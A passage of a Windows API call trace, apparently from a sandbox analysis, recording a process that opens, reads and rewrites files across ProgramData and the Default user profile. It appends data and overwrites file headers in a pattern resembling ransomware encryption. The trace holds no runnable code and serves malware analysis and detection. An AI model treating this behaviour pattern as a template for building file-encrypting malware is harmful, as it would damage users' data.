lpOverlapped=0x0 | out: lpBuffer=0x1da3ea8*, lpNumberOfBytesRead=0x2b0f278*=0x8000, lpOverlapped=0x0) returned 1 [0055.067] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x2b0f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2b0f2e8*=0) returned 0x355fc [0055.067] ReadFile (in: hFile=0x1b0, lpBuffer=0x3a4ee28, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x2b0f278, lpOverlapped=0x0 | out: lpBuffer=0x3a4ee28*, lpNumberOfBytesRead=0x2b0f278*=0x1000, lpOverlapped=0x0) returned 1 [0055.071] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x2b0f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2b0f2e8*=0) returned 0x355fc [0055.071] WriteFile (in: hFile=0x1b0, lpBuffer=0x276c958*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x2b0f28c, lpOverlapped=0x0 | out: lpBuffer=0x276c958*, lpNumberOfBytesWritten=0x2b0f28c*=0x1588, lpOverlapped=0x0) returned 1 [0055.072] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x2b0f2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2b0f2bc*=0) returned 0x0 [0055.072] WriteFile (in: hFile=0x1b0, lpBuffer=0x2804cf8*, nNumberOfBytesToWrite=0x8000, lpNumberOfBytesWritten=0x2b0f28c, lpOverlapped=0x0 | out: lpBuffer=0x2804cf8*, lpNumberOfBytesWritten=0x2b0f28c*=0x8000, lpOverlapped=0x0) returned 1 [0055.072] CloseHandle (hObject=0x1b0) returned 1 [0055.072] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Device Stage\\Device\\{8702d817-5aad-4674-9ef3-4d3decd87120}\\watermark.png" (normalized: "c:\\users\\all users\\microsoft\\device stage\\device\\{8702d817-5aad-4674-9ef3-4d3decd87120}\\watermark.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0055.074] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Device Stage\\Device\\{8702d817-5aad-4674-9ef3-4d3decd87120}\\watermark.png", nBufferLength=0x104, lpBuffer=0x2b0f694, lpFilePart=0x2b0f690 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\Device Stage\\Device\\{8702d817-5aad-4674-9ef3-4d3decd87120}\\watermark.png", lpFilePart=0x2b0f690*="watermark.png") returned 0x65 [0055.074] GetLastError () returned 0x5 [0055.074] FormatMessageW (in: dwFlags=0x3300, lpSource=0x0, dwMessageId=0x5, dwLanguageId=0x0, lpBuffer=0x2b0f8a4, nSize=0x0, Arguments=0x0 | out: lpBuffer="떨pʰ폈Hʰ퐔HʰLʰꠐǦ\x01") returned 0x13 [0055.074] LocalFree (hMem=0x70b5a8) returned 0x0 [0055.074] LoadStringW (in: hInstance=0x400000, uID=0xff84, lpBuffer=0x2b0d860, cchBufferMax=4096 | out: lpBuffer="Cannot open file \"%s\". %s") returned 0x19 [0055.074] RaiseException (dwExceptionCode=0xeedfade, dwExceptionFlags=0x1, nNumberOfArguments=0x7, lpArguments=0x2b0f894) [0055.075] RtlUnwind (TargetFrame=0x2b0f8fc, TargetIp=0x406ffc, ExceptionRecord=0x2b0f378, ReturnValue=0x0) [0055.075] RtlUnwind (TargetFrame=0x2b0f920, TargetIp=0x407184, ExceptionRecord=0x2b0f378, ReturnValue=0x0) [0055.075] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Device Stage\\Device\\{8702d817-5aad-4674-9ef3-4d3decd87120}\\watermark.png" (normalized: "c:\\users\\all users\\microsoft\\device stage\\device\\{8702d817-5aad-4674-9ef3-4d3decd87120}\\watermark.png")) returned 0x20 [0055.075] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft Help\\MS.EXCEL.DEV.14.1033.hxn" (normalized: "c:\\users\\all users\\microsoft help\\ms.excel.dev.14.1033.hxn"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x12c [0055.075] SetFilePointer (in: hFile=0x12c, lDistanceToMove=0, lpDistanceToMoveHigh=0x2b0f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x2b0f8c0*=0) returned 0x0 [0055.075] SetFilePointer (in: hFile=0x12c, lDistanceToMove=0, lpDistanceToMoveHigh=0x2b0f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2b0f8c0*=0) returned 0x6e6 [0055.075] SetFilePointer (in: hFile=0x12c, lDistanceToMove=0, lpDistanceToMoveHigh=0x2b0f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2b0f8c0*=0) returned 0x0 [0055.076] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0055.076] ReleaseMutex (hMutex=0x128) returned 1 [0055.076] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="MS.EXCEL.DEV.14.1033.hxn", cchWideChar=24, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 24 [0055.076] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="MS.EXCEL.DEV.14.1033.hxn", cchWideChar=24, lpMultiByteStr=0x1e7fb4c, cbMultiByte=24, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MS.EXCEL.DEV.14.1033.hxn", lpUsedDefaultChar=0x0) returned 24 [0055.076] ReadFile (in: hFile=0x12c, lpBuffer=0x261fa88, nNumberOfBytesToRead=0x6e6, lpNumberOfBytesRead=0x2b0f2bc, lpOverlapped=0x0 | out: lpBuffer=0x261fa88*, lpNumberOfBytesRead=0x2b0f2bc*=0x6e6, lpOverlapped=0x0) returned 1 [0055.076] CloseHandle (hObject=0x12c) returned 1 [0055.076] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft Help\\MS.MSTORE.14.1033.hxn" (normalized: "c:\\users\\all users\\microsoft help\\ms.mstore.14.1033.hxn"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x12c [0055.076] SetFilePointer (in: hFile=0x12c, lDistanceToMove=0, lpDistanceToMoveHigh=0x2b0f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x2b0f8c0*=0) returned 0x0 [0055.076] SetFilePointer (in: hFile=0x12c, lDistanceToMove=0, lpDistanceToMoveHigh=0x2b0f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2b0f8c0*=0) returned 0x6d4 [0055.076] SetFilePointer (in: hFile=0x12c, lDistanceToMove=0, lpDistanceToMoveHigh=0x2b0f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2b0f8c0*=0) returned 0x0 [0055.076] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0055.076] ReleaseMutex (hMutex=0x128) returned 1 [0055.076] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="MS.MSTORE.14.1033.hxn", cchWideChar=21, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 21 [0055.076] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="MS.MSTORE.14.1033.hxn", cchWideChar=21, lpMultiByteStr=0x1e786cc, cbMultiByte=21, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MS.MSTORE.14.1033.hxn", lpUsedDefaultChar=0x0) returned 21 [0055.076] ReadFile (in: hFile=0x12c, lpBuffer=0x261fa88, nNumberOfBytesToRead=0x6d4, lpNumberOfBytesRead=0x2b0f2bc, lpOverlapped=0x0 | out: lpBuffer=0x261fa88*, lpNumberOfBytesRead=0x2b0f2bc*=0x6d4, lpOverlapped=0x0) returned 1 [0055.076] CloseHandle (hObject=0x12c) returned 1 [0055.076] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft Help\\MS.VISIO.SHAPESHEET.14.1033.hxn" (normalized: "c:\\users\\all users\\microsoft help\\ms.visio.shapesheet.14.1033.hxn"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x12c [0055.077] SetFilePointer (in: hFile=0x12c, lDistanceToMove=0, lpDistanceToMoveHigh=0x2b0f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x2b0f8c0*=0) returned 0x0 [0055.077] SetFilePointer (in: hFile=0x12c, lDistanceToMove=0, lpDistanceToMoveHigh=0x2b0f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2b0f8c0*=0) returned 0x710 [0055.077] SetFilePointer (in: hFile=0x12c, lDistanceToMove=0, lpDistanceToMoveHigh=0x2b0f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2b0f8c0*=0) returned 0x0 [0055.077] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0055.077] ReleaseMutex (hMutex=0x128) returned 1 [0055.077] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="MS.VISIO.SHAPESHEET.14.1033.hxn", cchWideChar=31, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 31 [0055.077] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="MS.VISIO.SHAPESHEET.14.1033.hxn", cchWideChar=31, lpMultiByteStr=0x1e7fb4c, cbMultiByte=31, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MS.VISIO.SHAPESHEET.14.1033.hxn", lpUsedDefaultChar=0x0) returned 31 [0055.077] ReadFile (in: hFile=0x12c, lpBuffer=0x1da3ec8, nNumberOfBytesToRead=0x710, lpNumberOfBytesRead=0x2b0f2bc, lpOverlapped=0x0 | out: lpBuffer=0x1da3ec8*, lpNumberOfBytesRead=0x2b0f2bc*=0x710, lpOverlapped=0x0) returned 1 [0055.077] CloseHandle (hObject=0x12c) returned 1 [0055.077] CreateFileW (lpFileName="C:\\Users\\All Users\\Package Cache\\{13A4EE12-23EA-3371-91EE-EFB36DDFFF3E}v12.0.21005\\packages\\vcRuntimeMinimum_x86\\cab1.cab" (normalized: "c:\\users\\all users\\package cache\\{13a4ee12-23ea-3371-91ee-efb36ddfff3e}v12.0.21005\\packages\\vcruntimeminimum_x86\\cab1.cab"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x12c [0055.077] SetFilePointer (in: hFile=0x12c, lDistanceToMove=0, lpDistanceToMoveHigh=0x2b0f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x2b0f8c0*=0) returned 0x0 [0055.077] SetFilePointer (in: hFile=0x12c, lDistanceToMove=0, lpDistanceToMoveHigh=0x2b0f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2b0f8c0*=0) returned 0xf3c46 [0055.077] SetFilePointer (in: hFile=0x12c, lDistanceToMove=0, lpDistanceToMoveHigh=0x2b0f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2b0f8c0*=0) returned 0x0 [0055.077] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0055.077] ReleaseMutex (hMutex=0x128) returned 1 [0055.078] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="cab1.cab", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0055.078] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="cab1.cab", cchWideChar=8, lpMultiByteStr=0x1e6316c, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="cab1.cab", lpUsedDefaultChar=0x0) returned 8 [0055.078] ReadFile (in: hFile=0x12c, lpBuffer=0x27e6c98, nNumberOfBytesToRead=0xf000, lpNumberOfBytesRead=0x2b0f278, lpOverlapped=0x0 | out: lpBuffer=0x27e6c98*, lpNumberOfBytesRead=0x2b0f278*=0xf000, lpOverlapped=0x0) returned 1 [0055.078] ReadFile (in: hFile=0x12c, lpBuffer=0x27e6c98, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x2b0f278, lpOverlapped=0x0 | out: lpBuffer=0x27e6c98*, lpNumberOfBytesRead=0x2b0f278*=0x1000, lpOverlapped=0x0) returned 1 [0055.078] SetFilePointer (in: hFile=0x12c, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x2b0f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2b0f2e8*=0) returned 0xf2c46 [0055.078] ReadFile (in: hFile=0x12c, lpBuffer=0x3a4ee28, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x2b0f278, lpOverlapped=0x0 | out: lpBuffer=0x3a4ee28*, lpNumberOfBytesRead=0x2b0f278*=0x1000, lpOverlapped=0x0) returned 1 [0055.078] CloseHandle (hObject=0x12c) returned 1 [0055.078] CreateFileW (lpFileName="C:\\Users\\All Users\\Package Cache\\{68306422-7C57-373F-8860-D26CE4BA2A15}v14.10.25017\\packages\\vcRuntimeAdditional_x86\\cab1.cab" (normalized: "c:\\users\\all users\\package cache\\{68306422-7c57-373f-8860-d26ce4ba2a15}v14.10.25017\\packages\\vcruntimeadditional_x86\\cab1.cab"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x12c [0055.078] SetFilePointer (in: hFile=0x12c, lDistanceToMove=0, lpDistanceToMoveHigh=0x2b0f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x2b0f8c0*=0) returned 0x0 [0055.078] SetFilePointer (in: hFile=0x12c, lDistanceToMove=0, lpDistanceToMoveHigh=0x2b0f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2b0f8c0*=0) returned 0x4f6f26 [0055.078] SetFilePointer (in: hFile=0x12c, lDistanceToMove=0, lpDistanceToMoveHigh=0x2b0f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2b0f8c0*=0) returned 0x0 [0055.078] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0055.078] ReleaseMutex (hMutex=0x128) returned 1 [0055.078] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="cab1.cab", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0055.078] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="cab1.cab", cchWideChar=8, lpMultiByteStr=0x1e6316c, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="cab1.cab", lpUsedDefaultChar=0x0) returned 8 [0055.079] ReadFile (in: hFile=0x12c, lpBuffer=0x27e6c98, nNumberOfBytesToRead=0xf000, lpNumberOfBytesRead=0x2b0f278, lpOverlapped=0x0 | out: lpBuffer=0x27e6c98*, lpNumberOfBytesRead=0x2b0f278*=0xf000, lpOverlapped=0x0) returned 1 [0055.079] ReadFile (in: hFile=0x12c, lpBuffer=0x27e6c98, nNumberOfBytesToRead=0xf000, lpNumberOfBytesRead=0x2b0f278, lpOverlapped=0x0 | out: lpBuffer=0x27e6c98*, lpNumberOfBytesRead=0x2b0f278*=0xf000, lpOverlapped=0x0) returned 1 [0055.079] ReadFile (in: hFile=0x12c, lpBuffer=0x27e6c98, nNumberOfBytesToRead=0x2000, lpNumberOfBytesRead=0x2b0f278, lpOverlapped=0x0 | out: lpBuffer=0x27e6c98*, lpNumberOfBytesRead=0x2b0f278*=0x2000, lpOverlapped=0x0) returned 1 [0055.079] SetFilePointer (in: hFile=0x12c, lDistanceToMove=-8192, lpDistanceToMoveHigh=0x2b0f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2b0f2e8*=0) returned 0x4f4f26 [0055.079] ReadFile (in: hFile=0x12c, lpBuffer=0x1da3ea8, nNumberOfBytesToRead=0x2000, lpNumberOfBytesRead=0x2b0f278, lpOverlapped=0x0 | out: lpBuffer=0x1da3ea8*, lpNumberOfBytesRead=0x2b0f278*=0x2000, lpOverlapped=0x0) returned 1 [0055.079] CloseHandle (hObject=0x12c) returned 1 [0055.079] CreateFileW (lpFileName="C:\\Users\\All Users\\Package Cache\\{BD95A8CD-1D9F-35AD-981A-3E7925026EBB}v11.0.61030\\packages\\vcRuntimeMinimum_x86\\cab1.cab" (normalized: "c:\\users\\all users\\package cache\\{bd95a8cd-1d9f-35ad-981a-3e7925026ebb}v11.0.61030\\packages\\vcruntimeminimum_x86\\cab1.cab"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x12c [0055.079] SetFilePointer (in: hFile=0x12c, lDistanceToMove=0, lpDistanceToMoveHigh=0x2b0f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x2b0f8c0*=0) returned 0x0 [0055.079] SetFilePointer (in: hFile=0x12c, lDistanceToMove=0, lpDistanceToMoveHigh=0x2b0f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2b0f8c0*=0) returned 0xc8f39 [0055.079] SetFilePointer (in: hFile=0x12c, lDistanceToMove=0, lpDistanceToMoveHigh=0x2b0f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2b0f8c0*=0) returned 0x0 [0055.079] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0055.079] ReleaseMutex (hMutex=0x128) returned 1 [0055.079] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="cab1.cab", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0055.079] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="cab1.cab", cchWideChar=8, lpMultiByteStr=0x1e6316c, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="cab1.cab", lpUsedDefaultChar=0x0) returned 8 [0055.080] ReadFile (in: hFile=0x12c, lpBuffer=0x27e6c98, nNumberOfBytesToRead=0xf000, lpNumberOfBytesRead=0x2b0f278, lpOverlapped=0x0 | out: lpBuffer=0x27e6c98*, lpNumberOfBytesRead=0x2b0f278*=0xf000, lpOverlapped=0x0) returned 1 [0055.080] ReadFile (in: hFile=0x12c, lpBuffer=0x27e6c98, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x2b0f278, lpOverlapped=0x0 | out: lpBuffer=0x27e6c98*, lpNumberOfBytesRead=0x2b0f278*=0x1000, lpOverlapped=0x0) returned 1 [0055.080] SetFilePointer (in: hFile=0x12c, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x2b0f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2b0f2e8*=0) returned 0xc7f39 [0055.080] ReadFile (in: hFile=0x12c, lpBuffer=0x3a4ee28, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x2b0f278, lpOverlapped=0x0 | out: lpBuffer=0x3a4ee28*, lpNumberOfBytesRead=0x2b0f278*=0x1000, lpOverlapped=0x0) returned 1 [0055.080] CloseHandle (hObject=0x12c) returned 1 [0055.080] CreateFileW (lpFileName="C:\\Users\\All Users\\Package Cache\\{e6e75766-da0f-4ba2-9788-6ea593ce702d}\\state.rsm" (normalized: "c:\\users\\all users\\package cache\\{e6e75766-da0f-4ba2-9788-6ea593ce702d}\\state.rsm"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x12c [0055.080] SetFilePointer (in: hFile=0x12c, lDistanceToMove=0, lpDistanceToMoveHigh=0x2b0f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x2b0f8c0*=0) returned 0x0 [0055.080] SetFilePointer (in: hFile=0x12c, lDistanceToMove=0, lpDistanceToMoveHigh=0x2b0f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2b0f8c0*=0) returned 0x822 [0055.080] SetFilePointer (in: hFile=0x12c, lDistanceToMove=0, lpDistanceToMoveHigh=0x2b0f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2b0f8c0*=0) returned 0x0 [0055.080] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0055.080] ReleaseMutex (hMutex=0x128) returned 1 [0055.080] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="state.rsm", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0055.080] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="state.rsm", cchWideChar=9, lpMultiByteStr=0x1e6316c, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="state.rsm", lpUsedDefaultChar=0x0) returned 9 [0055.080] ReadFile (in: hFile=0x12c, lpBuffer=0x1dc0738, nNumberOfBytesToRead=0x822, lpNumberOfBytesRead=0x2b0f2bc, lpOverlapped=0x0 | out: lpBuffer=0x1dc0738*, lpNumberOfBytesRead=0x2b0f2bc*=0x822, lpOverlapped=0x0) returned 1 [0055.080] CloseHandle (hObject=0x12c) returned 1 [0055.081] CreateFileW (lpFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\{5588ACFD-6436-411B-A5CE-666AE6A92D3D}~\\WebSlices~\\Web Slice Gallery~.feed-ms" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\feeds\\{5588acfd-6436-411b-a5ce-666ae6a92d3d}~\\webslices~\\web slice gallery~.feed-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x12c [0055.081] SetFilePointer (in: hFile=0x12c, lDistanceToMove=0, lpDistanceToMoveHigh=0x2b0f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x2b0f8c0*=0) returned 0x0 [0055.081] SetFilePointer (in: hFile=0x12c, lDistanceToMove=0, lpDistanceToMoveHigh=0x2b0f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2b0f8c0*=0) returned 0x7000 [0055.081] SetFilePointer (in: hFile=0x12c, lDistanceToMove=0, lpDistanceToMoveHigh=0x2b0f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2b0f8c0*=0) returned 0x0 [0055.081] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0055.081] ReleaseMutex (hMutex=0x128) returned 1 [0055.081] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Web Slice Gallery~.feed-ms", cchWideChar=26, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 26 [0055.082] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Web Slice Gallery~.feed-ms", cchWideChar=26, lpMultiByteStr=0x1e7fb4c, cbMultiByte=26, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Web Slice Gallery~.feed-ms", lpUsedDefaultChar=0x0) returned 26 [0055.082] ReadFile (in: hFile=0x12c, lpBuffer=0x3a4ee28, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x2b0f278, lpOverlapped=0x0 | out: lpBuffer=0x3a4ee28*, lpNumberOfBytesRead=0x2b0f278*=0x1000, lpOverlapped=0x0) returned 1 [0055.085] SetFilePointer (in: hFile=0x12c, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x2b0f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2b0f2e8*=0) returned 0x6000 [0055.086] ReadFile (in: hFile=0x12c, lpBuffer=0x3a4ee28, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x2b0f278, lpOverlapped=0x0 | out: lpBuffer=0x3a4ee28*, lpNumberOfBytesRead=0x2b0f278*=0x1000, lpOverlapped=0x0) returned 1 [0055.086] SetFilePointer (in: hFile=0x12c, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x2b0f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2b0f2e8*=0) returned 0x6000 [0055.086] WriteFile (in: hFile=0x12c, lpBuffer=0x276c958*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x2b0f28c, lpOverlapped=0x0 | out: lpBuffer=0x276c958*, lpNumberOfBytesWritten=0x2b0f28c*=0x1588, lpOverlapped=0x0) returned 1 [0055.086] SetFilePointer (in: hFile=0x12c, lDistanceToMove=0, lpDistanceToMoveHigh=0x2b0f2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2b0f2bc*=0) returned 0x0 [0055.086] WriteFile (in: hFile=0x12c, lpBuffer=0x3a4ee28*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x2b0f28c, lpOverlapped=0x0 | out: lpBuffer=0x3a4ee28*, lpNumberOfBytesWritten=0x2b0f28c*=0x1000, lpOverlapped=0x0) returned 1 [0055.086] CloseHandle (hObject=0x12c) returned 1 [0055.086] CreateFileW (lpFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\en-US\\00010C6E\\02_Music_added_in_the_last_month.wpl" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\media player\\sync playlists\\en-us\\00010c6e\\02_music_added_in_the_last_month.wpl"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x12c [0055.087] SetFilePointer (in: hFile=0x12c, lDistanceToMove=0, lpDistanceToMoveHigh=0x2b0f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x2b0f8c0*=0) returned 0x0 [0055.087] SetFilePointer (in: hFile=0x12c, lDistanceToMove=0, lpDistanceToMoveHigh=0x2b0f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2b0f8c0*=0) returned 0x4ff [0055.087] SetFilePointer (in: hFile=0x12c, lDistanceToMove=0, lpDistanceToMoveHigh=0x2b0f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2b0f8c0*=0) returned 0x0 [0055.087] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0055.087] ReleaseMutex (hMutex=0x128) returned 1 [0055.087] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="02_Music_added_in_the_last_month.wpl", cchWideChar=36, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 36 [0055.087] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="02_Music_added_in_the_last_month.wpl", cchWideChar=36, lpMultiByteStr=0x1eb2084, cbMultiByte=36, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="02_Music_added_in_the_last_month.wpl", lpUsedDefaultChar=0x0) returned 36 [0055.087] ReadFile (in: hFile=0x12c, lpBuffer=0x1e15458, nNumberOfBytesToRead=0x4ff, lpNumberOfBytesRead=0x2b0f2bc, lpOverlapped=0x0 | out: lpBuffer=0x1e15458*, lpNumberOfBytesRead=0x2b0f2bc*=0x4ff, lpOverlapped=0x0) returned 1 [0055.093] SetFilePointer (in: hFile=0x12c, lDistanceToMove=0, 